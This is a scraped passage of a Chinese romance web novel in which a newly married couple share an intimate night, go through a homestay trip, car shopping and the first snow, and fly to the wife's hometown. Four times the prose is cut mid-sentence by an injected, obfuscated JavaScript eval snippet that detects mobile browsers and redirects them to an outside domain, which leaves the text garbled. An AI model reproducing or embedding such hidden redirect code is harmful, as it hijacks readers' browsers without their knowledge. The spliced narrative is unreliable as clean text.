穿着睡衣的周庭朔款款走进,他头发清爽的散在额前,显然已经洗过澡。 “要睡了吗?”他问。 已经这个姿态了,夏声只能说是。 另一边的被子被掀起,床垫微动后,夏声准备抬手关掉她这边的灯。 周庭朔俯身过来:“我来吧。” 动作间,他却停留在她上方,两人视线在温绻的灯光中相接。 洗过澡的夏声,皮肤净若白瓷,双眸水意朦朦,盈润的唇透出蜜桃般的粉,让人联想到那股独特的清甜。 周庭朔关灯的手又收回来,喉结滑动,轻缓地叫了她一声。 “夏声。” “上次的验证,你还没做完。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946777|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏声懵着脑袋,缓慢处理着这句话的意思。 直到他缓缓俯下身,在她耳边低语。 “现在时间还早,我们可以继续。” 没给她商量的时间,也没有拒绝的余地。 这一次,似乎有了经验,他不再步步试探,而是直入主题。 夏声的唇被他精准噙住,轻轻啄吸,婉转厮磨。 带着不轻不重的力道,在夏声的呼吸间放火。 她今天本就喝了酒,刚刚好不容易有些清醒,此刻仿佛又醉得更深。 头脑昏昏沉沉,只能感受到他胸膛的灼热,和自己鼓胀的脉搏,心跳重似擂鼓,连带呼吸都急促起来。 原本搭在被子上的手,不知何时扶上他的肩,随着他力道的加重,攀上了他的脖子。 夏声感觉到下巴被轻按一下,唇线微启的瞬间,他的舌已侵入。 两人唇齿间是清新的薄荷香,随后又沁出一丝红酒的醇,二者和谐交融,别有意味。 身体里慢慢升腾起一股陌生的感觉,像干渴的鱼祈求海水,像堆叠的柴等待燃烧,身体某处那巨大的空虚,急需什么来填补。 这感觉折磨着她,同样也折磨着周庭朔。 间隙离开的瞬间,周庭朔垂眸看她,眼前红润的唇像是熟透的樱桃,她一咬唇,更叫人难以把持。 浓重的呼吸再次落下,夏声忍不住轻哼了声,随即羞恼地捂住了嘴巴,甚至眼睛。 周庭朔的动作一顿。 下一秒,室内陷入黑暗。 她听到床头柜开了又关,他好像拿了什么出来,又在她身前停了动作。 “可以吗?” “什,什么可以?” “履行夫妻义务。” 浓稠的夜色里,她看不清他的表情,只能隐约感受到他的轮廓,在静静等候。 都说是义务,如果她说不行,岂不是不讲道理。 “都这样了,你干嘛还问。” 嗔怪的语调。 他甚至能想象出她红着脸觑他的样子。 塑料包装被撕开的声音异常清晰,在忐忑等待的夏声,突然意识到。 上次的骤然喊停,是不是因为没有准备这个。 这夜,夏声觉得自己好像陷入一场梦。 一场不会结束的梦。 后来,周庭朔在黑暗中再次吻到她的侧脸时。 夏声慌忙制止他:“你适可而止!” 她声音里带着潮湿的热意,大概被折腾得有些脾气,语气算不上好。 周庭朔见好就收,停下动作。 随后,低低笑了声:“看来,检验还算合格。” 夏声浑身发沉,半点力气都提不起,懒得跟他讨论什么合不合格的事。 甚至后来都只能由着他抱着自己去浴室。 等再回到床上,她几乎是立刻就陷入沉睡。 周庭朔洗漱完再回来,发现她十分放松地躺在床中间,胳膊搭在他的枕头上,似乎一点没想给他留地方。 他无声笑笑,放轻动作上床,将她的手拉下来,随后将人纳入怀中。 睡梦中的夏声喃喃呓语,只能零星听到几个词语,但控诉的语气让他的表情柔和起来。 他低声回答她:“我这不是欺负你。” 21. 第 21 章 第二天一早,夏声在浴室里愁得直叹气。 镜子里,白玉般的脖颈上,深浅交错的红痕怎么看都扎眼。 没办法,她只好套了件高领毛衣。 周庭朔依旧一大早就不见踪迹,她醒来时并没见到人。 徐姐给她留了早饭,还说周庭朔叮嘱了让她一定要吃。 “先生说你肯定饿了。” 夏声咬着牙,干笑着将早饭吃掉,又收拾了些行李,随后便去找安真。 安真账号已恢复更新,这几天她要拍一个网红民宿的测评。 好说歹说一定要她陪着一起去住两天。 昨天两人定好,今天出发,务必赶在夏声出去旅游前,把视频拍了。 民宿在相对偏远的城北,车程较远,没多久夏声就犯了困。 不论安真聊什么,她都是昏昏欲睡的样子。 在她第八次“嗯,然后呢”的敷衍后,安真将她从座椅上拉起来。 “老实交代昨晚你干什么坏事去了,困成这个鬼样子。” 夏声揉了揉眼:“没有啊,就是坐车爱犯困。” 实际上,昨天晚上那一番折腾后,夏声又去洗澡吹头发,再躺上床都十一点多。 加上浑身又酸又累,睡那一觉根不解乏。 安真狐疑地打量她一遍,警告道:“等到了民宿,你可不许说困了就跑去睡觉。” “要陪我拍视频呢!” 果然不给她划水的机会,从下车开始,安真已经将她们的行程安排的严丝合缝。 先是拍白天民宿内外的景色,软硬件配套,然后又去到周边,拍吃喝玩乐的地方。 晚上还要记录民宿的活动。 每个内容,都要十几个镜头,远景近景分镜好不麻烦。 跟着她拍一天,夏声觉得当网红也没那么简单。 入夜,两人总算能坐上一会。 民宿每晚会组织住客露天烧烤。 豁大的院子,几张木桌长凳,旁边摆着各种桌游。 院门口的槐树下,另有几排躺椅,枕臂躺上去,闻着浓郁的肉香,抬头刚好能看到夜幕星河。 只不过,此时天有点冷了,大家都围在烤炉旁一起烤火。 民宿老板是个文艺青年,穿着宽大的工装衣,弹一把吉他清唱。 安真撞了撞夏声的肩膀:“我看这老板也是眉清目秀。” 知道她什么德行,夏声赶紧浇灭她的心思。 “你可歇歇吧,祁大公子的事还没弄清楚,别给自己找麻烦。” 安真举起相机,按下拍摄键。 “说什么呢,我是指能拍到视频里,作为这个客栈的一大卖点。” 手机提示音响起,夏声低头解锁,发现是周庭朔的信息。 【你在哪?】 看了眼时间,已经九点多,大概是他已经回家了。 夏声这一天被安真安排得忙不胜忙,一不小心忘了跟他说自己出来了。 她将定位发给他。 【陪安真出来拍视频,今天不回去了。】 没多久,电话打进来。 恰逢客栈老板一曲终了,众人鼓掌吹哨,好不热闹。 夏声起身到院门外接听。 “怎么了?” 身后吵闹声落幕,对面才开口:“你住的是个民宿?” 夏声裹紧羽绒外套“嗯”了声。 “安全吗,你们几个人?”他顿了顿,问,“附近警局离那多远?” 不过是住个民宿,夏声没想到他顾虑到这么多。 她抬头看了眼面前的水泥路,单行道,连路灯都稀稀拉拉,倒也确实有些偏僻。 “没事啦,安真跟我一起呢,是个网红民宿,住的人不少,不会出事的。” 对面沉默片刻,没再多言,只问了她要住几天。 “明天就回,不用担心。” 两人又浅聊几句才挂断电话,一转身,她才发现安真正贼兮兮地靠在身后的门边上看她。 “没事啦~明天就回~” 她拿腔作调地学着夏声刚刚的话,一看就是笑话她。 “没想到你家听说哥这么粘牙,不过出来住一晚,就问东问西的。” 夏声捶了她一拳,拉着她往回走。 “别瞎说,是我忘了跟他说今天出来的事,家里没人他肯定要问啊。” “行,随你怎么说咯,反正我听着肉麻。”她作势搓了搓肩膀,像是抖落一身鸡皮疙瘩。 夜间活动结束已经十点多,夏声本想等安真先洗漱,但她忙着倒素材,只好她先去。 毫无意外的,当她出来时,身上的秘密藏不住一点。 安真趴在电脑前,捂着嘴坏笑着看她。 少不了被捉弄一番,两人闹够还是挤在一张床上说悄悄话。 安真难得正经一回:“其实我觉得,听说哥也还不错。” “有钱有颜有人品,身体也……”被夏声戳了一下,她重新措辞,“也挺好,而且我看他对你,还挺上心。” “这么看来,也没什么短板。” 窗外的月光透过纱帘,在床上映出稀薄的银光,安真转过身就着月光看她。 “你对他什么感觉?” 这个问题难倒她,对于他们两人而言,好像一直都是到了哪个时间点,就做对应的事,顺其自然推着走。 比如领证,比如同居,比如履行夫妻义务。 夏声斟酌着:“应该是不讨厌吧。” “就这?”安真没听到满意答案,又问,“你没有点喜欢他吗?” 有吗,夏声给自己也打了个问号。 两人又聊了几句,夏声实在太困,不知什么时候就睡着了。 转天早上她们还有安排,民宿旁有一块地,扣了温室种草莓。 一早起来,又摘草莓又拍摄,就过去大半天。 都是自家种植,也没怎么打药,夏声尝过味道不错,于是要了两只泡沫箱,挑些饱满成熟的放进去,一并带回家。 剩下点时间,又去旁边的农家大棚,采了些绿色蔬菜。 安真急着回去剪素材,视频要赶在元旦假期前发出去,一回到市里就跟她分道扬镳。 夏声路上提前给薛宁玉打了电话,于是先去西苑送菜和草莓。 薛宁玉想留她下来吃饭,但夏声跑了两天有些累,就推说晚上还有事,先回去了。 周仪娇出来送她,神秘兮兮地跟她说了些八卦。 “你猜我哥公司里都怎么说的。” “说老板是个老婆奴,已经狠狠被太太拿捏了。” 她才去过两次,就有这种传言,小道消息通常都是越传越离谱,夏声没忍住笑。 “这话让他听见还不气死。” “再说,谁能拿捏得了他。” 司机站在门边等她,周仪娇凑到她耳边悄声嘀咕。 “他还真听见了,据说板着脸,扔下一句‘公司不是闲聊的地方’就走了。” “他没否认哎。” 她显然一副磕到了的表情,真信了那八卦。 周庭朔大概觉得没有解释的必要,没想到在她们眼里,成了坐实。 夏声反驳:“信这个,不如信我是秦始皇。” 回到家的夏声将剩下的草莓放到冰箱,洗漱完本想先补一觉,可金楠楠一直给她发消息。 点开对话框,好几张不同男生的照片。 【夏声:?】 【金楠楠:怎么样,我老家还是有不少高质量男性吧。】 【金楠楠:看上哪一个了,我提前帮你下手。】 没想到她真把这当回事了,放假回家还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949404|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 要说她发来的男生确实还可以,只是夏声点开来看,心无波澜。 客厅传来开锁声,夏声关掉手机出去,发现是周庭朔回来了。 今天他倒很早,只是神色冷淡,低垂着眼睑,似乎心情不太好。 得体的黑色西装,配上他线条明晰的冷脸,有种肃凛的低气压。 夏声清了清嗓:“你回来了。” 似乎这才注意到她,他挑起眼皮缓和神色:“嗯。” 两人没多做交谈,他很快便回房间。 夏声去厨房,将冰箱的草莓拿出来,洗干净放到玻璃碗里。 再出来时,他换了身运动装,宽肩窄腰,倒是穿什么风格都适配。 夏声转身出来:“你要出去运动?” “跑步。” 这是他消化情绪的方式,最近北美的基因项目停滞,公司里支持砍项的声音越来越大,现在就是两难选择。 他需要清空下思绪,正抬腿往外走,看到她怀里抱着的草莓,又停下。 夏声端过来给他:“尝尝?我从民宿自己摘的。” “特意带回来的?” “嗯。”她拿起一颗,放进嘴里,“还给西苑那送了些。” 见他一直没动作,只是看着,夏声低头挑了一个又大又红的递给他。 “喏。” 嫩白的手指捏着殷红的草莓,一滴水珠顺着她指尖没入掌心,像是引他品尝。 周庭朔顺势低头含下,薄唇在她指尖擦过,随后离开。 清甜的汁水混合着自然果香,瞬间填满他整个口腔,食欲的满足总是最干脆直接。 “很甜。”他不吝赞许。 夏声没想到他直接张嘴接,手指缩回掌心,道:“那不耽误你运动了,草莓我放冰箱,你回来可以继续吃。” 当天晚上,徐姐要做芥末虾球,夏声最爱这道菜,于是也跟着学。 周庭朔回来时见她在厨房里跟徐姐聊天,后者照例跟他打招呼,他心情好很多,抿唇点头。 洗过澡出来,刚好听到她们两人对话。 家里地暖很热,夏声只穿了家居服坐在桌前,徐姐摆好菜,指了指她脖子上浅浅的痕迹。 “这是怎么了?” 夏声尴尬:“可能……昨天住的民宿,床单不太干净吧。” 留下“不太干净”痕迹的本人坐在她对面,面对她埋怨的目光,神色坦荡。 “不干净以后就尽量别去住了。” 徐姐搭腔:“是,哪里也不及家里干干净净。” 夏声:…… 吃过饭,夏声把留下的半箱草莓给徐姐带回去,她家有个小孙子,正好可以吃。 徐姐走后,福宝在屋里转一圈,跑到落地窗前的软垫上,团成团眯觉。 夏声也想去睡,但是秦莫刚给她发了整理好的待办清单。 借壳经营还是有风险,她们最后决定自己注册。 要做的事很多,跑工商,开户头,注册法人,桩桩件件都要她去跑。 眼看还要出门几天,她得一件件规划好,这些事怎么做。 周庭朔在书房忙到九点多,回到卧室发现并没有人。 床还是那个床,可看着空了一半的位置,他竟睡不下去,一如昨夜。 几分钟后,他又起身出去。 客厅的灯倒是大亮,只是放眼望去也没看到她,他向前走了两步,才在沙发前的地毯上,发现支着脑袋昏昏欲睡的夏声。 茶几上的电脑被突然合上,夏声猛一清醒,抬头发现周庭朔正站在她旁边。 “哦,你忙完了?你先睡吧,我还有一点,弄完就好。”说着她又掀开电脑屏幕。 颀长的身影俯下,电脑再次被合上,低沉的声音带着不容质疑的语气。 “去睡觉。” 22. 第 22 章 被安置到床上的夏声,没等他有下一步动作,整个人就缩进被子里。 眼睛盯着他,警戒拉满。 正准备关灯的周庭朔瞥了她一眼:“不闭眼睡觉,还想做什么?” 夏声瞬间合上双眼,反应时间不到零点几秒。 卧室一片黑暗。 安静不过一分钟,手机提示音一条接一条。 下午没得到夏声回复的金楠楠开启追问模式。 【怎么没信儿了,不会是都太好了挑花眼吧!】 【我知道你眼光高,帅哥学霸都瞧不上,所以给你发的都是精品,我妈都快以为我要毕业做媒婆了。】 【快,表个态啊。】 她滑开手机,看到的就是这一连串消息,迅速回了对面两句,又将手机静音,塞到枕头下。 安静了几个呼吸,正当她准备好入睡时,身后传来周庭朔冷淡的声音。 “所以,看上哪个了?” 卧室灰暗,手机屏幕的光实在醒目,而他的视力又好得过分。 夏声并不心虚,又没做亏心事。 “你不都看到了,我回绝了,一个都没看上。” “嗯。” 旁边的被子微动,似乎是他调整下姿势,夏声以为他要睡了,又听他问。 “学霸是谁,你之前发错信息的对象?” 夏声没想到他还记得这茬,并且能精准地将两件事联系到一起。 “你同学是不是都不知道你结婚了。”黑暗中他的声音格外沉冷。 夏声坦诚告知:“我们又没办婚礼,她们不知道正常。” 宣布结婚也不只有办婚礼一个途径,他直言:“你没发朋友圈。” “你不是也没发?” 他的朋友圈干干净净一道横线,全新的,她的朋友圈上一条还是四年前,就四个字“京市,你好”。 两人不发,都很正常。 “我身边的人都知道,我已婚。”他补充。 夏声沉默。 这段对话太过吊诡,像两个小学生在争论桌上的三八线是否画得公平,无聊且幼稚。 重点是,周庭朔怎么会在意这些。 明明之前他也没提过。 卧室又陷入熬人的寂静。 半晌,他声音淡淡:“睡吧。” 接着翻身过去,留下一个漠然的轮廓。 不知是不是睡前想了些有的没的,半夜夏声做了个不太愉快的梦。 梦里,七岁的她第一次考了一百分。 老师奖励她一个崭新的笔记本,还有一包巧克力饼干。 她撕开包装尝了几块,又留半袋想带回去给爷爷分享。 前座的小胖子理直气壮要她分几块,可他嘴馋,一吃定是渣都不给她留。 夏声拒绝,他反来抢。 两人互不相让,小胖子还掐紫了她的手背。 闹到双方被请家长,夏国理讲理惯了,不与对方多争论,默默带她回家。 出校门时,小胖子牵着爸妈的手,贱兮兮地冲她喊。 “谁要你的臭饼干,我有爸妈会给我买,你就只能吃老师给的,没人给你买。” 小时候的夏声没哭,因为爷爷为安慰她,立刻去便利店给她买了很多吃的。 但梦中的夏声哭了,那是后知后觉的委屈。 周庭朔一直没睡,他睁眼躺着,直到身旁的呼吸变得平缓均匀。 随后掀开被子,去了书房。 再回来时,已是午夜。 身旁人好像睡得并不安稳,含糊不清地呓语,还有隐隐地啜泣。 像是……哭了。 周庭朔叫了她几声,人却一直没反应。 直到他握住她单薄的肩膀,用了些力,将她转过来。 夏声沉浸在梦中,乍然被推醒,人仍处于迷茫之中。 胸腔里未了的情绪仍在酝酿,黑暗中只听到有人在问。 “你怎么了?” 周庭朔想去开灯,她反应过来,猛地拉住。 “别开。”声音带着颤,急促地制止。 他收回动作,语调低缓:“好,不开。” 夏声重重吸了口气,又慢慢吐出去,试图快速缓和情绪,却收效甚微。 就像压下的弹簧,越要用力,越会反弹。 她索性将胳膊盖在眼皮上,隔着睡衣袖子,使劲压了压。 “没事,做了个梦。”她故作轻松,“梦见小时候跟一个小男孩抢东西,没打过人家,气得。” 但那不是梦,而是她曾经的真实经历。 周庭朔沉默坐在另一边,转过身体对着她,明明应该看不见,手指却精准的摸到她鬓间的濡湿。 “你想哭就哭,不要压着。” “哭不是什么见不得人的事,在我面前更是。” 委屈的人最怕安慰,见血的伤口没人理片刻就结痂了,可要有人又吹又呼,就疼得不行。 夏声本快干了的眼,又变得潮湿一片。 “我没哭。” 明明声音哽咽着,却仍不肯承认,周庭朔默默调整姿势,面对她躺下。 坚实的手臂将她拉进怀里,温热的手掌在她背后捋顺。 开口,语气哄人:“嗯,没哭,反正我什么也没看见。” 看不见,却可以感受。 她滚烫的泪沁过他的睡衣,在他胸前留下一片凉意,他只能猜测,这大概是她并不美好的童年,留下的烙印。 一室黑暗下,夏声窝在坚实温暖的怀抱里,耳边就是他沉缓的心跳,一下两下,很快让她的平静下来。 半晌,她低低开口:“明天醒来,你就要忘了这件事。” 做个梦哭成这样,怎么不算丢脸。 他的下巴搁在她的发顶,轻轻点了点:“好,睡吧。” 这一觉,她终于睡踏实。 醒来时已经日上三竿,身边依旧没人。 眼皮微微有些肿,喉咙也干得难受,她出去倒水,被徐姐看到。 她一向热心,赶忙来问:“这是怎么了?” 又取出冰块拿毛巾包着递给夏声:“眼睛怎么还肿了。” 夏声接过来,在眼睛上轻轻敷着,笑笑说没事。 徐姐想起,今天一早她来上班时,周庭朔就已经不在家,难不成两人吵架? 她接杯温水给夏声:“哎呀,小两口过日子,哪有舌头不碰牙的。” 听出她误会,夏声出声解释:“不是吵架,就是没睡好。” “嗯,不管怎样,夫妻没有隔夜仇,可不能一闹别扭就谁也不理谁。” 看来是解释不清了,夏声放弃。 吃完早饭眼睛也消得差不多,于是换衣服出门。 今天又约了几个房产中介,办公场所要尽快定下来。 后续还要简单装修,购置设备和家具,这样年后才能有个雏形。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955343|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 本来今天她想跟秦莫一起,但对方跟原公司定了今天办离职手续。 夏声一个人也能看,到时候给她发照片商量就好。 她花了几个小时又看了好几处,挑出两个还不错的,准备之后一起询比价。 走了好几个地方,夏声的脚有些酸,站在路边打车的功夫,又提起买车的念头。 反正今天有时间,夏声又去了4S店。 销售很热情,根据她的需求介绍车型,还极力推荐她去试驾。 只是自从大一暑假考下驾照,夏声就没再摸过车,一时不敢上手,只能让销售开车带着她感受一下。 刚试到第二辆,周庭朔电话打来。 跟欧洲药监协会的磋商集中在这两天,昨天欧标准字却突然变动,标准的细微调整,都可能直接影响明箴后续产品入欧。 今天他大概要熬夜跟进,所以特意来电告诉她。 “那你住哪,公司连轴转吗?” “办公室里面有休息室,或者旁边的酒店睡几个小时。” 车子已经停回4S店,夏声解开安全带下车,跟销售示意自己先打电话。 销售退到一边:“那夏小姐,我在里面等您。” 对面显然听到,顿了顿问:“你现在在哪?” “4S店呢。” 其实刚结婚时,周庭朔就提过给她配一辆车,但她平时多出入学校,开车反而不方便,就拒绝了。 但以后做公司免不了要跑业务,还是有辆车好。 他沉吟片刻:“家里还有几辆闲置的,你可以选一辆开。” 周庭朔的车至少都是七位数,她开着几个人的小公司,开那么乍眼的车,实在是货不对板。 于是半开玩笑地拒绝:“不了,等我身价赶上你的时候,你再送我。” 对面无声笑笑,叮嘱:“你自己买也行,别的都好说,车的安全性放第一位。” “如果实在不懂参数性能,可以发给我看看。” 他那么忙,买个代步车的小事,着实没必要。 夏声应承着,秉持基本关心,又道:“你加班也注意休息,记得吃饭。” 挂断电话,她又看了几家店,但始终下不了决定。 出了店正准备走,身后传来鸣笛声。 回头,一辆黑色迈巴赫停在她旁边,车窗落下,卓冕笑着同她打招呼。 “好巧。”她笑。 他看向她身后出来的地方:“要买车?” 见她点头,又问:“订好买哪个了吗?” “还没,有些犹豫。” 说话间,他解锁车门,让她上车。 “说说有什么要求,我可以带你去看。” 夏声下意识拒绝:“不用,我大概看看就行。” 可卓冕却坚持:“正好我有个朋友也要买车,带你看的时候,也帮他看看。” 盛情难却,她只好上车。 等她说完自己的需求,对方只带她看了两家店,就找到心仪的车型。 还是有个懂车的人一起,效率更高。 过程中,他又帮忙确定配置,保险等细节,各方面都没问题,夏声直接付了定金。 这么快就解决一件大事,她是一定要感谢了。 “上次就说好请你吃饭的,今天兑现。” 卓冕温眸看着她,却摇摇头。 “吃饭不急,我还有另一件事,想你帮忙。” 23. 第 23 章 临近新年,各家商场布置一新,彩灯海报铺满,颇有节日氛围。 来时路上卓冕已经说明,想要夏声帮他选个礼物。 “送一个女孩,年纪跟你差不多大。” 夏声无意打探别人关系,只是送礼物也不能完全盲选。 “是亲属,普通朋友,还是在追求的异性?” 卓冕笑问:“怎么不猜是女朋友?” 彼时两人刚踏进商场大门,夏声惊讶,作势就要走。 “女朋友我就不能帮忙了,人家的礼物得你自己亲自选。” “如果对方知道你偷懒让别人选礼物,没准心里会不开心。” 话已至此,卓冕当即解释,不是女朋友。 “是长期合作客户的女儿,礼节性送些东西,维系关系。” 想必是大客户。 两人先是去了香水台,试香时夏声手上挎着包不是很方便。 卓冕本准备接过来,夏声摆摆手。 “不碍事。” 柜姐将经典款,和新年特别款一一介绍给她。 香水是凸显个人风格品味的东西,大众香稳妥,但会显得不用心,而过于独特的香型,又怕对方不能接受。 试了一会,没有找到特别适合的,夏声决定放弃香水,最后选了C家的经典山茶花方巾。 “新年伴手礼的话,东西不必太贵重,方巾可以搭配衣服,或者系在提包上,小配饰也实用。” 卓冕爽快结账,又让SA包了礼盒:“果然找你帮忙没错。” 选完东西,两人就近一起吃饭。 闲聊中,卓冕无意问起周庭朔怎么没陪她出来看车。 夏声支着下巴看窗外:“他?忙得不见人,哪有时间。” 旋转餐厅是整圈的全景玻璃,居高临下,是极佳的城市夜景观赏地。 向西南方向望去,刚好能看到明箴大厦。 夏声眯起眼睛默数到三十层附近,果然灯火通明。 一餐饭,她时不时抬头看向远处的大楼,吃得有些心不在焉。 卓冕默默看在眼中,神色沉寂。 饭后夏声抢着结账,生怕又欠对方一顿饭。 两人走出餐厅,刚好卓冕遇到熟人,需要聊两句,夏声便独自下楼。 没想到外面竟飘飘扬扬下起雪来。 地上薄薄一层,应该是刚刚落雪。 此刻天已全黑,夏声走到门外广场上,抬头望着雪落下的方向,随手接几片雪花,冰冰凉凉的触感,瞬间化为清水。 “竟然下雪了。” 慢她一程走来的卓冕,站在她身后半步的地方,看着雪落在她的发顶,眸光柔和。 “嗯,今年的雪晚一些。” 广场上,不少年轻男女拿出手机拍照,大家对雪的喜爱一如既往。 夏声同样爱雪,她的老家在南方,很少能看到。 第一年来京市时,才经历人生的第一场大雪。 她兴奋地在楼下雪地玩了几小时,笨拙地堆个雪人,还拍了几十张照片留念。 这两年见的多了,倒比从前淡定。 站了一会,夏声的驼色大衣上已落了薄薄一层白。 卓冕上前,打断她的沉浸式赏雪。 “天冷,我送你回去吧。” 夏声收回手,裹紧大衣:“不了,我想自己走走,一会打车回去就行。” 卓冕还想说什么,她已经摆摆手独自到马路边等红绿灯。 这一场雪,从开始的稀稀散散,到后来的簌簌飘落,越下越大。 昏黄的路灯下,大朵的雪花顺着风的动向,扑涌而来。 擦过树梢,再落到她的眼睫上。 夏声拿出手机,对着夜空中的大雪拍了几张照片,发到学校寝室群。 【夏声:你们回家早了,京市下雪了。】 【沈习诗:啊啊啊,我刚走啊!还我妈生浪漫初雪夜!】 【赵茹:别喊了,让你晚走一天跟要你命一样。】 【沈习诗:那我是妈宝女嘛。委屈.jpg】 夏声笑笑,又独自赏会雪才回家。 刚进家门,手机上周庭朔的名字跳出来。 夏声将大衣挂到门边的柜子里,接通。 对面低沉的声音传来:“回去没,车选的怎么样了?” 桌上堆积的文件如山,周庭朔难得喘口气,想起买车的人也没再给他发信息。 听筒里传来福宝的喵喵声,像是在撒娇,他脑海中浮现夏声蹲在地上摸它肚皮的画面。 “已经到家了,下雪了,在外面看了会雪。” 周庭朔一直埋头工作,外面下雪也没注意。 新产品入欧是明箴制药今年最重要的战略目标,本来赶在年尾可以顺利完成,临门一脚出现差错,他必须亲自盯着。 电脑屏幕上是第二版的实验数据报告,他看得头疼,起身走到百叶窗前。 窗外一片纯白,城市的喧嚣暂时隐去,变得和谐静谧。 他将视线落远:“这两天,我可能比较忙,不见得有时间回去。” 夏声很快回答:“没关系,你忙你的。” “实在抽不开身,过两天我自己回去看爷爷就好。” 他们的机票就定在两天后,行程一共五天。 周庭朔不是言而无信的人。 “约好的事,我不会食言。” “还有,车选好了刷卡就行,卡给你是要用的,不是让你替我保管。” 那张他给的黑卡,夏声确实一次没用过,家里的日常开销都是他安排,她根本没什么花销。 身后的电脑邮件弹出新提示,周庭朔余光瞥着,沉默一瞬。 “好了,你自己早点睡。” 电话挂断,周庭朔回到电脑前点开邮件,随后内线通知助理。 “告诉海外部,十分钟后二十三楼开会。” 这边,夏声换好衣服,拿了把密齿梳给福宝梳毛。 最近可能因为家里地暖太热,它掉毛又多起来。 享受着独家服务的福宝,呼噜声不断,夏声一边梳毛一边打开朋友圈看。 初雪,很多人都拍照发圈,夏声随手翻着,结果看到一张意料之外的照片。 一张公寓楼下的空景,孤单单的路灯和一个人的影子。 配文:等你。 夏声仔细看了眼,这不就是安真新住址的楼下,再一看发出人,是祁家骏。 潇洒浪荡的公子哥,搞上深情戏码? 迅速给安真发信息,问是什么情况。 【安真:他有病,我都去外地了,他还在那守着,演给鬼看呢。】 【夏声:他知道你不在家吗?】 【安真:我哪知道他知不知道,反正我懒得理他。】 【夏声:……】 虽说她无条件站闺蜜这边,但大冬天的下着雪,好歹让人知道家里没人啊。 想了想,夏声评论:她没在家,去外地了。 很快,他回复:我不信,她让你骗我的吧。 夏声无语,懒得再说,关掉手机去洗漱。 等再出来,评论又多两条。 卓冕回她:他大概是自己入戏了,由他吧。 任珩:骏哥,冻感冒了可别传染我。 夏声摇摇头,不再理会。 马上要回老家,夏声心情也雀跃起来,提前一天,她就将自己的行李收好。 福宝围着箱子转,夏声不忘跟徐姐嘱咐,每天陪福宝玩一会。 徐姐还惦记着前两天他们“吵架”的事,在夏声明确说明是两人一起去,才放心。 “那先生的行李不收吗?” 他这两天忙得都没时间回,夏声犹豫一会,发条信息给他。 【需要帮忙收拾行李吗?】 这次他倒是回的很快。 【方便的话,帮我简单收一下。】 夏声没帮男人整理过行李,找个空的行李箱出来,就坐在床上思考。 最后还非常严谨地上网搜了下,男士履行必备品。 花了一小时整理齐全,便只待第二天出发。 直到登机前,夏声都不确定周庭朔是不是真的能去。 她独自赶到机场,值机完给他发了信息。 头等舱除了她还有另外两名乘客,她旁边的位置空着。 还有不到十分钟,登机口就要关闭,夏声沉默看向舷窗外,原本因回家而晴朗的心情,不知为何掩上一层阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965623|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霾。 她暗暗后悔,早知道不带他行李了。 正想着,身边的空气流动,夏声回头,发现两天不见的人已到她旁边。 周庭朔明显是匆忙赶来,大衣上还带着寒气,神色略有倦意,半垂的眼睫下是淡淡的乌青。 “抱歉,路上耽误点时间。” “没关系,你又没迟到。”她心里的阴霾,又缓缓散开。 飞机起飞后,夏声一直保持着安静,不过十分钟,他便靠在椅背睡着。 她无声向空乘招手,要了薄毯给他盖上。 两个小时后,飞机落地。 夏声的老家,是空气中都飘着辣香的锦城,这里比京市要温暖许多,气候也更加潮湿。 呼吸着熟悉的空气,夏声满足地弯了嘴角。 “要不你先休息,我们晚点再去看爷爷?”她贴心地提议。 周庭朔经过一个多小时的休息,已疲态尽扫,接过两人的行李大步往前走。 “不用,别让老人家等。” 夏国理如今住在大女儿家,前两天在西南一医检查完,刚出院两天。 夏声姑姑家是回迁小区,里面很多邻居都认识,看到她领着个又高又帅的男人回来,都凑过来打招呼。 “夏声回来了,放假了吧。” “哟,这是谈男朋友,带回来见家长了?” 几个大娘,说话间还不住地打量着周庭朔。 他鲜少面对这种场面,却淡笑着先开口:“我不是她男朋友。” 众人话头一收,都看向夏声,没办法她只能如实回答。 “嗯,不是男朋友,是我丈夫。” “我们已经结婚了。” 